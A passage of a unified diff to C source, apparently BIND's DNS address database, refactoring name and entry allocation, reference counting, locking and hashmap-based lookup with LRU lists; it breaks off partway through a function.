+		.magic = DNS_ADBNAME_MAGIC,
+	};
+
+#if DNS_ADB_TRACE
+	fprintf(stderr, "dns_adbname__init:%s:%s:%d:%p->references = 1\n",
+		__func__, __FILE__, __LINE__ + 1, name);
+#endif
+	isc_refcount_init(&name->references, 1);
+
+	isc_mutex_init(&name->lock);
 
-	entry->lock_bucket = DNS_ADB_INVALIDBUCKET;
+	dns_name_init(&name->name, NULL);
+	isc_buffer_init(&name->buffer, name->key.name, DNS_NAME_MAXWIRE);
+	dns_name_setbuffer(&name->name, &name->buffer);
+	dns_name_copy(dnsname, &name->name);
+	dns_name_init(&name->target, NULL);
 
-	free_adbentry(adb, &entry);
-	if (result) {
-		result = dec_adb_irefcnt(adb);
+	name->key.size = dnsname->length + sizeof(bool);
+	if (start_at_zone) {
+		name->flags |= DNS_ADBFIND_STARTATZONE;
+		name->key.start_at_zone = true;
 	}
 
-	return (result);
+	inc_adbstats(adb, dns_adbstats_namescnt);
+	return (name);
 }
 
-static inline dns_adbname_t *
-new_adbname(dns_adb_t *adb, const dns_name_t *dnsname) {
-	dns_adbname_t *name;
-
-	name = isc_mempool_get(adb->nmp);
-	if (name == NULL) {
-		return (NULL);
-	}
+#if DNS_ADB_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_adbname, destroy_adbname);
+#else
+ISC_REFCOUNT_IMPL(dns_adbname, destroy_adbname);
+#endif
 
-	dns_name_init(&name->name, NULL);
-	dns_name_dup(dnsname, adb->mctx, &name->name);
-	dns_name_init(&name->target, NULL);
-	name->magic = DNS_ADBNAME_MAGIC;
-	name->adb = adb;
-	name->partial_result = 0;
-	name->flags = 0;
-	name->expire_v4 = INT_MAX;
-	name->expire_v6 = INT_MAX;
-	name->expire_target = INT_MAX;
-	name->chains = 0;
-	name->lock_bucket = DNS_ADB_INVALIDBUCKET;
-	ISC_LIST_INIT(name->v4);
-	ISC_LIST_INIT(name->v6);
-	name->fetch_a = NULL;
-	name->fetch_aaaa = NULL;
-	name->fetch_err = FIND_ERR_UNEXPECTED;
-	name->fetch6_err = FIND_ERR_UNEXPECTED;
-	ISC_LIST_INIT(name->finds);
-	ISC_LINK_INIT(name, plink);
-
-	LOCK(&adb->namescntlock);
-	adb->namescnt++;
-	inc_adbstats(adb, dns_adbstats_namescnt);
-	if (!adb->grownames_sent && adb->excl != NULL &&
-	    adb->namescnt > (adb->nnames * 8))
-	{
-		isc_event_t *event = &adb->grownames;
-		inc_adb_irefcnt(adb);
-		isc_task_send(adb->excl, &event);
-		adb->grownames_sent = true;
-	}
-	UNLOCK(&adb->namescntlock);
+static void
+destroy_adbname(dns_adbname_t *name) {
+	REQUIRE(DNS_ADBNAME_VALID(name));
 
-	return (name);
-}
+	dns_adb_t *adb = name->adb;
 
-static inline void
-free_adbname(dns_adb_t *adb, dns_adbname_t **name) {
-	dns_adbname_t *n;
+	REQUIRE(!NAME_HAS_V4(name));
+	REQUIRE(!NAME_HAS_V6(name));
+	REQUIRE(!NAME_FETCH(name));
+	REQUIRE(ISC_LIST_EMPTY(name->finds));
+	REQUIRE(!ISC_LINK_LINKED(name, link));
 
-	INSIST(name != NULL && DNS_ADBNAME_VALID(*name));
-	n = *name;
-	*name = NULL;
+	name->magic = 0;
 
-	INSIST(!NAME_HAS_V4(n));
-	INSIST(!NAME_HAS_V6(n));
-	INSIST(!NAME_FETCH(n));
-	INSIST(ISC_LIST_EMPTY(n->finds));
-	INSIST(!ISC_LINK_LINKED(n, plink));
-	INSIST(n->lock_bucket == DNS_ADB_INVALIDBUCKET);
-	INSIST(n->adb == adb);
+	isc_mutex_destroy(&name->lock);
 
-	n->magic = 0;
-	dns_name_free(&n->name, adb->mctx);
+	isc_mem_put(adb->mctx, name, sizeof(*name));
 
-	isc_mempool_put(adb->nmp, n);
-	LOCK(&adb->namescntlock);
-	adb->namescnt--;
 	dec_adbstats(adb, dns_adbstats_namescnt);
-	UNLOCK(&adb->namescntlock);
+	dns_adb_detach(&adb);
 }
 
-static inline dns_adbnamehook_t *
-new_adbnamehook(dns_adb_t *adb, dns_adbentry_t *entry) {
-	dns_adbnamehook_t *nh;
-
-	nh = isc_mempool_get(adb->nhmp);
-	if (nh == NULL) {
-		return (NULL);
-	}
-
-	nh->magic = DNS_ADBNAMEHOOK_MAGIC;
-	nh->entry = entry;
-	ISC_LINK_INIT(nh, plink);
+static dns_adbnamehook_t *
+new_adbnamehook(dns_adb_t *adb) {
+	dns_adbnamehook_t *nh = isc_mem_get(adb->mctx, sizeof(*nh));
+	*nh = (dns_adbnamehook_t){
+		.name_link = ISC_LINK_INITIALIZER,
+		.entry_link = ISC_LINK_INITIALIZER,
+		.magic = DNS_ADBNAMEHOOK_MAGIC,
+	};
 
 	return (nh);
 }
 
-static inline void
+static void
 free_adbnamehook(dns_adb_t *adb, dns_adbnamehook_t **namehook) {
-	dns_adbnamehook_t *nh;
+	dns_adbnamehook_t *nh = NULL;
+
+	REQUIRE(namehook != NULL && DNS_ADBNAMEHOOK_VALID(*namehook));
 
-	INSIST(namehook != NULL && DNS_ADBNAMEHOOK_VALID(*namehook));
 	nh = *namehook;
 	*namehook = NULL;
 
-	INSIST(nh->entry == NULL);
-	INSIST(!ISC_LINK_LINKED(nh, plink));
+	REQUIRE(nh->entry == NULL);
+	REQUIRE(!ISC_LINK_LINKED(nh, name_link));
+	REQUIRE(!ISC_LINK_LINKED(nh, entry_link));
 
 	nh->magic = 0;
-	isc_mempool_put(adb->nhmp, nh);
+
+	isc_mem_put(adb->mctx, nh, sizeof(*nh));
 }
 
-static inline dns_adblameinfo_t *
+static dns_adblameinfo_t *
 new_adblameinfo(dns_adb_t *adb, const dns_name_t *qname,
 		dns_rdatatype_t qtype) {
-	dns_adblameinfo_t *li;
-
-	li = isc_mempool_get(adb->limp);
-	if (li == NULL) {
-		return (NULL);
-	}
+	dns_adblameinfo_t *li = isc_mem_get(adb->mctx, sizeof(*li));
 
 	dns_name_init(&li->qname, NULL);
 	dns_name_dup(qname, adb->mctx, &li->qname);
@@ -1853,337 +1107,419 @@ new_adblameinfo(dns_adb_t *adb, const dns_name_t *qname,
 	return (li);
 }
 
-static inline void
+static void
 free_adblameinfo(dns_adb_t *adb, dns_adblameinfo_t **lameinfo) {
-	dns_adblameinfo_t *li;
+	dns_adblameinfo_t *li = NULL;
+
+	REQUIRE(lameinfo != NULL && DNS_ADBLAMEINFO_VALID(*lameinfo));
 
-	INSIST(lameinfo != NULL && DNS_ADBLAMEINFO_VALID(*lameinfo));
 	li = *lameinfo;
 	*lameinfo = NULL;
 
-	INSIST(!ISC_LINK_LINKED(li, plink));
+	REQUIRE(!ISC_LINK_LINKED(li, plink));
 
 	dns_name_free(&li->qname, adb->mctx);
 
 	li->magic = 0;
 
-	isc_mempool_put(adb->limp, li);
+	isc_mem_put(adb->mctx, li, sizeof(*li));
 }
 
-static inline dns_adbentry_t *
-new_adbentry(dns_adb_t *adb) {
-	dns_adbentry_t *e;
-
-	e = isc_mempool_get(adb->emp);
-	if (e == NULL) {
-		return (NULL);
-	}
-
-	e->magic = DNS_ADBENTRY_MAGIC;
-	e->lock_bucket = DNS_ADB_INVALIDBUCKET;
-	e->refcnt = 0;
-	e->nh = 0;
-	e->flags = 0;
-	e->udpsize = 0;
-	e->edns = 0;
-	e->ednsto = 0;
-	e->completed = 0;
-	e->timeouts = 0;
-	e->plain = 0;
-	e->plainto = 0;
-	e->cookie = NULL;
-	e->cookielen = 0;
-	e->srtt = (isc_random_uniform(0x1f)) + 1;
-	e->lastage = 0;
-	e->expires = 0;
-	atomic_init(&e->active, 0);
-	e->mode = 0;
-	atomic_init(&e->quota, adb->quota);
-	e->atr = 0.0;
-	ISC_LIST_INIT(e->lameinfo);
-	ISC_LINK_INIT(e, plink);
-	LOCK(&adb->entriescntlock);
-	adb->entriescnt++;
+static dns_adbentry_t *
+new_adbentry(dns_adb_t *adb, const isc_sockaddr_t *addr) {
+	dns_adbentry_t *entry = NULL;
+
+	entry = isc_mem_get(adb->mctx, sizeof(*entry));
+	*entry = (dns_adbentry_t){
+		.srtt = isc_random_uniform(0x1f) + 1,
+		.sockaddr = *addr,
+		.lameinfo = ISC_LIST_INITIALIZER,
+		.link = ISC_LINK_INITIALIZER,
+		.magic = DNS_ADBENTRY_MAGIC,
+	};
+
+#if DNS_ADB_TRACE
+	fprintf(stderr, "dns_adbentry__init:%s:%s:%d:%p->references = 1\n",
+		__func__, __FILE__, __LINE__ + 1, entry);
+#endif
+	isc_refcount_init(&entry->references, 1);
+	isc_mutex_init(&entry->lock);
+
+	atomic_init(&entry->active, 0);
+	atomic_init(&entry->quota, adb->quota);
+
+	dns_adb_attach(adb, &entry->adb);
+
 	inc_adbstats(adb, dns_adbstats_entriescnt);
-	if (!adb->growentries_sent && adb->excl != NULL &&
-	    adb->entriescnt > (adb->nentries * 8))
-	{
-		isc_event_t *event = &adb->growentries;
-		inc_adb_irefcnt(adb);
-		isc_task_send(adb->excl, &event);
-		adb->growentries_sent = true;
-	}
-	UNLOCK(&adb->entriescntlock);
 
-	return (e);
+	return (entry);
 }
 
-static inline void
-free_adbentry(dns_adb_t *adb, dns_adbentry_t **entry) {
-	dns_adbentry_t *e;
-	dns_adblameinfo_t *li;
+static void
+destroy_adbentry(dns_adbentry_t *entry) {
+	REQUIRE(DNS_ADBENTRY_VALID(entry));
+
+	dns_adblameinfo_t *li = NULL;
+	dns_adb_t *adb = entry->adb;
+	uint_fast32_t active;
+
+	entry->magic = 0;
 
-	INSIST(entry != NULL && DNS_ADBENTRY_VALID(*entry));
-	e = *entry;
-	*entry = NULL;
+	INSIST(!ISC_LINK_LINKED(entry, link));
 
-	INSIST(e->lock_bucket == DNS_ADB_INVALIDBUCKET);
-	INSIST(e->refcnt == 0);
-	INSIST(!ISC_LINK_LINKED(e, plink));
+	INSIST(ISC_LIST_EMPTY(entry->nhs));
 
-	e->magic = 0;
+	active = atomic_load_acquire(&entry->active);
+	INSIST(active == 0);
 
-	if (e->cookie != NULL) {
-		isc_mem_put(adb->mctx, e->cookie, e->cookielen);
+	if (entry->cookie != NULL) {
+		isc_mem_put(adb->mctx, entry->cookie, entry->cookielen);
 	}
 
-	li = ISC_LIST_HEAD(e->lameinfo);
+	li = ISC_LIST_HEAD(entry->lameinfo);
 	while (li != NULL) {
-		ISC_LIST_UNLINK(e->lameinfo, li, plink);
+		ISC_LIST_UNLINK(entry->lameinfo, li, plink);
 		free_adblameinfo(adb, &li);
-		li = ISC_LIST_HEAD(e->lameinfo);
+		li = ISC_LIST_HEAD(entry->lameinfo);
 	}
 
-	isc_mempool_put(adb->emp, e);
-	LOCK(&adb->entriescntlock);
-	adb->entriescnt--;
+	isc_mutex_destroy(&entry->lock);
+	isc_refcount_destroy(&entry->references);
+	isc_mem_put(adb->mctx, entry, sizeof(*entry));
+
 	dec_adbstats(adb, dns_adbstats_entriescnt);
-	UNLOCK(&adb->entriescntlock);
+
+	dns_adb_detach(&adb);
 }
 
-static inline dns_adbfind_t *
-new_adbfind(dns_adb_t *adb) {
-	dns_adbfind_t *h;
+#if DNS_ADB_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_adbentry, destroy_adbentry);
+#else
+ISC_REFCOUNT_IMPL(dns_adbentry, destroy_adbentry);
+#endif
 
-	h = isc_mempool_get(adb->ahmp);
-	if (h == NULL) {
-		return (NULL);
-	}
+static dns_adbfind_t *
+new_adbfind(dns_adb_t *adb, in_port_t port) {
+	dns_adbfind_t *find = NULL;
 
-	/*
-	 * Public members.
-	 */
-	h->magic = 0;
-	h->adb = adb;
-	h->partial_result = 0;
-	h->options = 0;
-	h->flags = 0;
-	h->result_v4 = ISC_R_UNEXPECTED;
-	h->result_v6 = ISC_R_UNEXPECTED;
-	ISC_LINK_INIT(h, publink);
-	ISC_LINK_INIT(h, plink);
-	ISC_LIST_INIT(h->list);
-	h->adbname = NULL;
-	h->name_bucket = DNS_ADB_INVALIDBUCKET;
+	find = isc_mem_get(adb->mctx, sizeof(*find));
+	*find = (dns_adbfind_t){
+		.port = port,
+		.result_v4 = ISC_R_UNEXPECTED,
+		.result_v6 = ISC_R_UNEXPECTED,
+		.publink = ISC_LINK_INITIALIZER,
+		.plink = ISC_LINK_INITIALIZER,
+		.list = ISC_LIST_INITIALIZER,
+	};
 
-	/*
-	 * private members
-	 */
-	isc_mutex_init(&h->lock);
+	dns_adb_attach(adb, &find->adb);
+	isc_mutex_init(&find->lock);
 
-	ISC_EVENT_INIT(&h->event, sizeof(isc_event_t), 0, 0, 0, NULL, NULL,
-		       NULL, NULL, h);
+	find->magic = DNS_ADBFIND_MAGIC;
 
-	inc_adb_irefcnt(adb);
-	h->magic = DNS_ADBFIND_MAGIC;
-	return (h);
+	return (find);
 }
 
-static inline dns_adbfetch_t *
-new_adbfetch(dns_adb_t *adb) {
-	dns_adbfetch_t *f;
+static void
+free_adbfind(dns_adbfind_t **findp) {
+	dns_adb_t *adb = NULL;
+	dns_adbfind_t *find = NULL;
 
-	f = isc_mempool_get(adb->afmp);
-	if (f == NULL) {
-		return (NULL);
-	}
+	REQUIRE(findp != NULL && DNS_ADBFIND_VALID(*findp));
 
-	f->magic = 0;
-	f->fetch = NULL;
+	find = *findp;
+	*findp = NULL;
 
-	dns_rdataset_init(&f->rdataset);
+	adb = find->adb;
 
-	f->magic = DNS_ADBFETCH_MAGIC;
+	REQUIRE(!FIND_HAS_ADDRS(find));
+	REQUIRE(!ISC_LINK_LINKED(find, publink));
+	REQUIRE(!ISC_LINK_LINKED(find, plink));
+	REQUIRE(find->adbname == NULL);
 
-	return (f);
-}
+	find->magic = 0;
 
-static inline void
-free_adbfetch(dns_adb_t *adb, dns_adbfetch_t **fetch) {
-	dns_adbfetch_t *f;
+	isc_mutex_destroy(&find->lock);
+
+	isc_mem_put(adb->mctx, find, sizeof(*find));
+	dns_adb_detach(&adb);
+}
 
-	INSIST(fetch != NULL && DNS_ADBFETCH_VALID(*fetch));
-	f = *fetch;
-	*fetch = NULL;
+static dns_adbfetch_t *
+new_adbfetch(dns_adb_t *adb) {
+	dns_adbfetch_t *fetch = NULL;
 
-	f->magic = 0;
+	fetch = isc_mem_get(adb->mctx, sizeof(*fetch));
+	*fetch = (dns_adbfetch_t){ 0 };
+	dns_rdataset_init(&fetch->rdataset);
 
-	if (dns_rdataset_isassociated(&f->rdataset)) {
-		dns_rdataset_disassociate(&f->rdataset);
-	}
+	fetch->magic = DNS_ADBFETCH_MAGIC;
 
-	isc_mempool_put(adb->afmp, f);
+	return (fetch);
 }
 
-static inline bool
-free_adbfind(dns_adb_t *adb, dns_adbfind_t **findp) {
-	dns_adbfind_t *find;
+static void
+free_adbfetch(dns_adb_t *adb, dns_adbfetch_t **fetchp) {
+	dns_adbfetch_t *fetch = NULL;
 
-	INSIST(findp != NULL && DNS_ADBFIND_VALID(*findp));
-	find = *findp;
-	*findp = NULL;
+	REQUIRE(fetchp != NULL && DNS_ADBFETCH_VALID(*fetchp));
 
-	INSIST(!FIND_HAS_ADDRS(find));
-	INSIST(!ISC_LINK_LINKED(find, publink));
-	INSIST(!ISC_LINK_LINKED(find, plink));
-	INSIST(find->name_bucket == DNS_ADB_INVALIDBUCKET);
-	INSIST(find->adbname == NULL);
+	fetch = *fetchp;
+	*fetchp = NULL;
 
-	find->magic = 0;
+	fetch->magic = 0;
 
-	isc_mutex_destroy(&find->lock);
-	isc_mempool_put(adb->ahmp, find);
-	return (dec_adb_irefcnt(adb));
+	if (dns_rdataset_isassociated(&fetch->rdataset)) {
+		dns_rdataset_disassociate(&fetch->rdataset);
+	}
+
+	isc_mem_put(adb->mctx, fetch, sizeof(*fetch));
 }
 
 /*
- * Copy bits from the entry into the newly allocated addrinfo.  The entry
- * must be locked, and the reference count must be bumped up by one
- * if this function returns a valid pointer.
+ * Copy bits from an adbentry into a newly allocated adb_addrinfo structure.
+ * The entry must be locked, and its reference count must be incremented.
  */
-static inline dns_adbaddrinfo_t *
+static dns_adbaddrinfo_t *
 new_adbaddrinfo(dns_adb_t *adb, dns_adbentry_t *entry, in_port_t port) {
-	dns_adbaddrinfo_t *ai;
-
-	ai = isc_mempool_get(adb->aimp);
-	if (ai == NULL) {
-		return (NULL);
-	}
+	dns_adbaddrinfo_t *ai = NULL;
+
+	ai = isc_mem_get(adb->mctx, sizeof(*ai));
+	*ai = (dns_adbaddrinfo_t){
+		.srtt = entry->srtt,
+		.flags = entry->flags,
+		.publink = ISC_LINK_INITIALIZER,
+		.sockaddr = entry->sockaddr,
+		.entry = dns_adbentry_ref(entry),
+		.magic = DNS_ADBADDRINFO_MAGIC,
+	};
 
-	ai->magic = DNS_ADBADDRINFO_MAGIC;
-	ai->sockaddr = entry->sockaddr;
 	isc_sockaddr_setport(&ai->sockaddr, port);
-	ai->srtt = entry->srtt;
-	ai->flags = entry->flags;
-	ai->entry = entry;
-	ai->dscp = -1;
-	ISC_LINK_INIT(ai, publink);
 
 	return (ai);
 }
 
-static inline void
+static void
 free_adbaddrinfo(dns_adb_t *adb, dns_adbaddrinfo_t **ainfo) {
-	dns_adbaddrinfo_t *ai;
+	dns_adbaddrinfo_t *ai = NULL;
+
+	REQUIRE(ainfo != NULL && DNS_ADBADDRINFO_VALID(*ainfo));
 
-	INSIST(ainfo != NULL && DNS_ADBADDRINFO_VALID(*ainfo));
 	ai = *ainfo;
 	*ainfo = NULL;
 
-	INSIST(ai->entry == NULL);
-	INSIST(!ISC_LINK_LINKED(ai, publink));
+	REQUIRE(!ISC_LINK_LINKED(ai, publink));
 
 	ai->magic = 0;
 
-	isc_mempool_put(adb->aimp, ai);
+	if (ai->transport != NULL) {
+		dns_transport_detach(&ai->transport);
+	}
+	dns_adbentry_detach(&ai->entry);
+
+	isc_mem_put(adb->mctx, ai, sizeof(*ai));
 }
 
 /*
- * Search for the name.  NOTE:  The bucket is kept locked on both
- * success and failure, so it must always be unlocked by the caller!
- *
- * On the first call to this function, *bucketp must be set to
- * DNS_ADB_INVALIDBUCKET.
+ * Search for the name in the hash table.
  */
-static inline dns_adbname_t *
-find_name_and_lock(dns_adb_t *adb, const dns_name_t *name, unsigned int options,
-		   int *bucketp) {
-	dns_adbname_t *adbname;
-	int bucket;
-
-	bucket = dns_name_fullhash(name, false) % adb->nnames;
-
-	if (*bucketp == DNS_ADB_INVALIDBUCKET) {
-		LOCK(&adb->namelocks[bucket]);
-		*bucketp = bucket;
-	} else if (*bucketp != bucket) {
-		UNLOCK(&adb->namelocks[*bucketp]);
-		LOCK(&adb->namelocks[bucket]);
-		*bucketp = bucket;
-	}
-
-	adbname = ISC_LIST_HEAD(adb->names[bucket]);
-	while (adbname != NULL) {
-		if (!NAME_DEAD(adbname)) {
-			if (dns_name_equal(name, &adbname->name) &&
-			    GLUEHINT_OK(adbname, options) &&
-			    STARTATZONE_MATCHES(adbname, options))
-			{
-				return (adbname);
-			}
+static dns_adbname_t *
+get_attached_and_locked_name(dns_adb_t *adb, const dns_name_t *name,
+			     bool start_at_zone, isc_stdtime_t now) {
+	isc_result_t result;
+	dns_adbname_t *adbname = NULL;
+	uint32_t hashval;
+	isc_time_t timenow;
+	isc_stdtime_t last_update;
+	adbnamekey_t key;
+	isc_rwlocktype_t locktype = isc_rwlocktype_read;
+
+	isc_time_set(&timenow, now, 0);
+
+	key.start_at_zone = start_at_zone;
+	memmove(&key.name, name->ndata, name->length);
+	key.size = name->length + sizeof(bool);
+
+	hashval = isc_hashmap_hash(adb->names, &key.key, key.size);
+
+	RWLOCK(&adb->names_lock, locktype);
+	last_update = adb->names_last_update;
+
+	if (last_update + ADB_STALE_MARGIN >= now ||
+	    atomic_load_relaxed(&adb->is_overmem))
+	{
+		last_update = now;
+		UPGRADELOCK(&adb->names_lock, locktype);
+		purge_stale_names(adb, now);
+		adb->names_last_update = last_update;
+	}
+
+	result = isc_hashmap_find(adb->names, &hashval, key.key, key.size,
+				  (void **)&adbname);
+	switch (result) {
+	case ISC_R_NOTFOUND:
+		UPGRADELOCK(&adb->names_lock, locktype);
+
+		/* Allocate a new name and add it to the hash table. */
+		adbname = new_adbname(adb, name, start_at_zone);
+
+		result = isc_hashmap_add(adb->names, &hashval,
+					 &adbname->key.key, adbname->key.size,
+					 adbname);
+		if (result == ISC_R_EXISTS) {
+			destroy_adbname(adbname);
+			adbname = NULL;
+			result = isc_hashmap_find(adb->names, &hashval, key.key,
+						  key.size, (void **)&adbname);
+			ISC_LIST_UNLINK(adb->names_lru, adbname, link);
 		}
-		adbname = ISC_LIST_NEXT(adbname, plink);
+		INSIST(result == ISC_R_SUCCESS);
+
+		break;
+	case ISC_R_SUCCESS:
+		if (locktype == isc_rwlocktype_write) {
+			ISC_LIST_UNLINK(adb->names_lru, adbname, link);
+		}
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	dns_adbname_ref(adbname);
+
+	LOCK(&adbname->lock); /* Must be unlocked by the caller */
+	if (adbname->last_used + ADB_CACHE_MINIMUM <= last_update) {
+		adbname->last_used = now;
 	}
+	if (locktype == isc_rwlocktype_write) {
+		ISC_LIST_PREPEND(adb->names_lru, adbname, link);
+	}
+
+	/*
+	 * The refcount is now 2 and the final detach will happen in
+	 * expire_name() - the unused adbname stored in the hashtable and lru
+	 * has always refcount == 1
+	 */
+	RWUNLOCK(&adb->names_lock, locktype);
 
-	return (NULL);
+	return (adbname);
+}
+
+static void
+upgrade_entries_lock(dns_adb_t *adb, isc_rwlocktype_t *locktypep,
+		     isc_stdtime_t now) {
+	if (*locktypep == isc_rwlocktype_read) {
+		UPGRADELOCK(&adb->entries_lock, *locktypep);
+		purge_stale_entries(adb, now);
+		adb->entries_last_update = now;
+	}
 }
 
 /*
- * Search for the address.  NOTE:  The bucket is kept locked on both
- * success and failure, so it must always be unlocked by the caller.
- *
- * On the first call to this function, *bucketp must be set to
- * DNS_ADB_INVALIDBUCKET.  This will cause a lock to occur.  On
- * later calls (within the same "lock path") it can be left alone, so
- * if this function is called multiple times locking is only done if
- * the bucket changes.
+ * Find the entry in the adb->entries hashtable.
  */
-static inline dns_adbentry_t *
-find_entry_and_lock(dns_adb_t *adb, const isc_sockaddr_t *addr, int *bucketp,
-		    isc_stdtime_t now) {
-	dns_adbentry_t *entry, *entry_next;
-	int bucket;
+static dns_adbentry_t *
+get_attached_and_locked_entry(dns_adb_t *adb, isc_stdtime_t now,
+			      const isc_sockaddr_t *addr) {
+	isc_result_t result;
+	dns_adbentry_t *adbentry = NULL;
+	isc_time_t timenow;
+	isc_stdtime_t last_update;
+	uint32_t hashval = isc_hashmap_hash(
+		adb->entries, (const unsigned char *)addr, sizeof(*addr));
+	isc_rwlocktype_t locktype = isc_rwlocktype_read;
 
-	bucket = isc_sockaddr_hash(addr, true) % adb->nentries;
+	isc_time_set(&timenow, now, 0);
 
-	if (*bucketp == DNS_ADB_INVALIDBUCKET) {
-		LOCK(&adb->entrylocks[bucket]);
-		*bucketp = bucket;
-	} else if (*bucketp != bucket) {
-		UNLOCK(&adb->entrylocks[*bucketp]);
-		LOCK(&adb->entrylocks[bucket]);
-		*bucketp = bucket;
-	}
+	RWLOCK(&adb->entries_lock, locktype);
+	last_update = adb->entries_last_update;
 
-	/* Search the list, while cleaning up expired entries. */
-	for (entry = ISC_LIST_HEAD(adb->entries[bucket]); entry != NULL;
-	     entry = entry_next)
+	if (now - last_update > ADB_STALE_MARGIN ||
+	    atomic_load_relaxed(&adb->is_overmem))
 	{
-		entry_next = ISC_LIST_NEXT(entry, plink);
-		(void)check_expire_entry(adb, &entry, now);
-		if (entry != NULL &&
-		    (entry->expires == 0 || entry->expires > now) &&
-		    isc_sockaddr_equal(addr, &entry->sockaddr))
-		{
-			ISC_LIST_UNLINK(adb->entries[bucket], entry, plink);
-			ISC_LIST_PREPEND(adb->entries[bucket], entry, plink);
-			return (entry);
+		last_update = now;
+
+		upgrade_entries_lock(adb, &locktype, now);
+	}
+
+	result = isc_hashmap_find(adb->entries, &hashval,
+				  (const unsigned char *)addr, sizeof(*addr),
+				  (void **)&adbentry);
+	if (result == ISC_R_NOTFOUND) {
+		upgrade_entries_lock(adb, &locktype, now);
+
+	create:
+		INSIST(locktype == isc_rwlocktype_write);
+
+		/* Allocate a new entry and add it to the hash table. */
+		adbentry = new_adbentry(adb, addr);
+
+		result = isc_hashmap_add(adb->entries, &hashval,
+					 &adbentry->sockaddr,
+					 sizeof(adbentry->sockaddr), adbentry);
+		if (result == ISC_R_SUCCESS) {
+			ISC_LIST_PREPEND(adb->entries_lru, adbentry, link);
+		} else if (result == ISC_R_EXISTS) {
+			dns_adbentry_detach(&adbentry);
+
+			result = isc_hashmap_find(adb->entries, &hashval,
+						  (const unsigned char *)addr,
+						  sizeof(*addr),
+						  (void **)&adbentry);
+		}
+	}
+	INSIST(result == ISC_R_SUCCESS);
+
+	/*
+	 * The dns_adbentry_ref() must stay here before trying to expire
+	 * the ADB entry, so it is not destroyed under the lock.
+	 */
+	dns_adbentry_ref(adbentry);
+	LOCK(&adbentry->lock); /* Must be unlocked by the caller */
+	switch (locktype) {
+	case isc_rwlocktype_read:
+		if (!entry_expired(adbentry, now)) {
+			break;
+		}
+
+		/* We need to upgrade the LRU lock */
+		UNLOCK(&adbentry->lock);
+		upgrade_entries_lock(adb, &locktype, now);
+		LOCK(&adbentry->lock);
+		FALLTHROUGH;
+	case isc_rwlocktype_write:
+		if (ENTRY_DEAD(adbentry) || maybe_expire_entry(adbentry, now)) {
+			UNLOCK(&adbentry->lock);
+			dns_adbentry_detach(&adbentry);
+			goto create;
+		}
+		break;
+	default:
+		UNREACHABLE();
+	}
+
+	/* Did enough time pass to update the LRU? */
+	if (adbentry->last_used + ADB_CACHE_MINIMUM <= last_update) {
+		adbentry->last_used = now;
+		if (locktype == isc_rwlocktype_write) {
+			ISC_LIST_UNLINK(adb->entries_lru, adbentry, link);
+			ISC_LIST_PREPEND(adb->entries_lru, adbentry, link);
 		}
 	}
 
-	return (NULL);
+	RWUNLOCK(&adb->entries_lock, locktype);
+
+	return (adbentry);
 }
 
 /*
- * Entry bucket MUST be locked!
+ * The entry must be locked.
  */
 static bool
 entry_is_lame(dns_adb_t *adb, dns_adbentry_t *entry, const dns_name_t *qname,
 	      dns_rdatatype_t qtype, isc_stdtime_t now) {
-	dns_adblameinfo_t *li, *next_li;
-	bool is_bad;
-
-	is_bad = false;
+	dns_adblameinfo_t *li = NULL, *next_li = NULL;
+	bool is_bad = false;
 
 	li = ISC_LIST_HEAD(entry->lameinfo);
 	if (li == NULL) {
@@ -2243,149 +1579,144 @@ static void
 copy_namehook_lists(dns_adb_t *adb, dns_adbfind_t *find,
 		    const dns_name_t *qname, dns_rdatatype_t qtype,
 		    dns_adbname_t *name, isc_stdtime_t now) {
-	dns_adbnamehook_t *namehook;
-	dns_adbaddrinfo_t *addrinfo;
-	dns_adbentry_t *entry;
-	int bucket;
-
-	bucket = DNS_ADB_INVALIDBUCKET;
+	dns_adbnamehook_t *namehook = NULL;
+	dns_adbentry_t *entry = NULL;
 
 	if ((find->options & DNS_ADBFIND_INET) != 0) {
 		namehook = ISC_LIST_HEAD(name->v4);
 		while (namehook != NULL) {
+			dns_adbaddrinfo_t *addrinfo = NULL;
 			entry = namehook->entry;
-			bucket = entry->lock_bucket;
-			INSIST(bucket != DNS_ADB_INVALIDBUCKET);
-			LOCK(&adb->entrylocks[bucket]);
+			LOCK(&entry->lock);
 
-			if (dns_adbentry_overquota(entry)) {
+			if (adbentry_overquota(entry)) {
 				find->options |= (DNS_ADBFIND_LAMEPRUNED |
 						  DNS_ADBFIND_OVERQUOTA);
 				goto nextv4;
 			}
 
 			if (!FIND_RETURNLAME(find) &&
-			    entry_is_lame(adb, entry, qname, qtype, now)) {
+			    entry_is_lame(adb, entry, qname, qtype, now))
+			{
 				find->options |= DNS_ADBFIND_LAMEPRUNED;
 				goto nextv4;
 			}
+
 			addrinfo = new_adbaddrinfo(adb, entry, find->port);
-			if (addrinfo == NULL) {
-				find->partial_result |= DNS_ADBFIND_INET;
-				goto out;
-			}
+
 			/*
 			 * Found a valid entry.  Add it to the find's list.
 			 */
-			inc_entry_refcnt(adb, entry, false);
 			ISC_LIST_APPEND(find->list, addrinfo, publink);
-			addrinfo = NULL;
 		nextv4:
-			UNLOCK(&adb->entrylocks[bucket]);
-			bucket = DNS_ADB_INVALIDBUCKET;
-			namehook = ISC_LIST_NEXT(namehook, plink);
+			UNLOCK(&entry->lock);
+			namehook = ISC_LIST_NEXT(namehook, name_link);
 		}
 	}
 
 	if ((find->options & DNS_ADBFIND_INET6) != 0) {
 		namehook = ISC_LIST_HEAD(name->v6);
 		while (namehook != NULL) {
+			dns_adbaddrinfo_t *addrinfo = NULL;
 			entry = namehook->entry;
-			bucket = entry->lock_bucket;
-			INSIST(bucket != DNS_ADB_INVALIDBUCKET);
-			LOCK(&adb->entrylocks[bucket]);
+			LOCK(&entry->lock);
 
-			if (dns_adbentry_overquota(entry)) {
+			if (adbentry_overquota(entry)) {
 				find->options |= (DNS_ADBFIND_LAMEPRUNED |
 						  DNS_ADBFIND_OVERQUOTA);
 				goto nextv6;
 			}
 
 			if (!FIND_RETURNLAME(find) &&
-			    entry_is_lame(adb, entry, qname, qtype, now)) {
+			    entry_is_lame(adb, entry, qname, qtype, now))
+			{
 				find->options |= DNS_ADBFIND_LAMEPRUNED;
 				goto nextv6;
 			}
 			addrinfo = new_adbaddrinfo(adb, entry, find->port);
-			if (addrinfo == NULL) {
-				find->partial_result |= DNS_ADBFIND_INET6;
-				goto out;
-			}
+
 			/*
 			 * Found a valid entry.  Add it to the find's list.
 			 */
-			inc_entry_refcnt(adb, entry, false);
 			ISC_LIST_APPEND(find->list, addrinfo, publink);
-			addrinfo = NULL;
 		nextv6:
